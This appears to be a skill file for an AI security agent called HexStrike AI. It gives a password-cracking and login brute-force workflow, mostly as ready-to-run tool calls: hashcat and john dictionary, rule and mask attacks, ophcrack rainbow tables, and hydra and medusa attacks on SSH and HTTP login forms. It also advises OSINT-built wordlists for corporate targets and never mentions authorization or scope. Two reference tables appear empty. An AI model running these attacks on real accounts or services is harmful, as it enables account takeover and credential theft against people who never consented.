version: "1.0.0" name: password-cracking description: Password hash identification, cracking, and credential brute-forcing using hashid, john, hashcat, hydra, medusa, and ophcrack

password-cracking

Password cracking and credential brute-force workflow for HexStrike AI. Use this skill when a user has captured hashes to crack, wants to brute-force a login service, or needs to identify an unknown hash format.

Workflow

Step 1 — Identify the hash type (hashid)

Always identify the hash format before cracking. Do not guess.

run_tool(tool="hashid", hash="<paste_hash_here>")

Common hash types and their hashcat mode numbers:

Step 2 — Dictionary attack (john or hashcat)

John the Ripper — best for automatic format detection and many exotic formats:

run_tool(tool="john", hash_file="/path/to/hashes.txt",
         wordlist="/usr/share/wordlists/rockyou.txt")
 
# Force a specific format
run_tool(tool="john", hash_file="/path/to/hashes.txt",
         wordlist="/usr/share/wordlists/rockyou.txt",
         format_type="NT")

Hashcat — best for speed, GPU acceleration, and rule-based attacks:

# Dictionary attack (mode 0)
run_tool(tool="hashcat", hash_file="/path/to/hashes.txt",
         hash_type="1000",
         attack_mode="0",
         wordlist="/usr/share/wordlists/rockyou.txt")
 
# Dictionary + rules (best64 rule)
run_tool(tool="hashcat", hash_file="/path/to/hashes.txt",
         hash_type="0",
         attack_mode="0",
         wordlist="/usr/share/wordlists/rockyou.txt",
         additional_args="-r /usr/share/hashcat/rules/best64.rule")

Step 3 — Brute-force / mask attack (hashcat)

Use when dictionary attack fails and you know the password format:

# 8-character lowercase + digit (e.g. "summer23")
run_tool(tool="hashcat", hash_file="/path/to/hashes.txt",
         hash_type="0",
         attack_mode="3",
         mask="?l?l?l?l?l?l?d?d")

Mask charset reference:

• ?l lowercase letters
• ?u uppercase letters
• ?d digits
• ?s special characters
• ?a all printable

Step 4 — Windows NTLM / rainbow tables (ophcrack)

Use ophcrack for Windows NTLM hashes when you have rainbow tables available:

run_tool(tool="ophcrack", hash_file="/path/to/ntlm_hashes.txt",
         tables_dir="/path/to/tables")

Step 5 — Network service brute-force (hydra or medusa)

Use after gaining credentials to test for password reuse, or when attacking login services directly.

Hydra:

# SSH brute-force
run_tool(tool="hydra", target="<target>", service="ssh",
         username="admin",
         password_file="/usr/share/wordlists/rockyou.txt")
 
# HTTP form brute-force
run_tool(tool="hydra", target="<target>", service="http-post-form",
         username_file="/usr/share/seclists/Usernames/top-usernames-shortlist.txt",
         password_file="/usr/share/wordlists/rockyou.txt",
         additional_args='"/login:username=^USER^&password=^PASS^:Invalid"')

Medusa (alternative to Hydra, stronger on some protocols):

run_tool(tool="medusa", target="<target>", module="ssh",
         username="root",
         password_file="/usr/share/wordlists/rockyou.txt")

Service-to-tool selection guide

Tips

• Start with rockyou.txt + best64.rule — covers most real-world passwords.
• For corporate targets, build a custom wordlist from the company name, domain, and OSINT findings.
• GPU hashcat is orders of magnitude faster than CPU john for MD5/NTLM — use it when available.
• Never skip hashid — cracking the wrong format wastes significant time.

HexStrike Tool Reference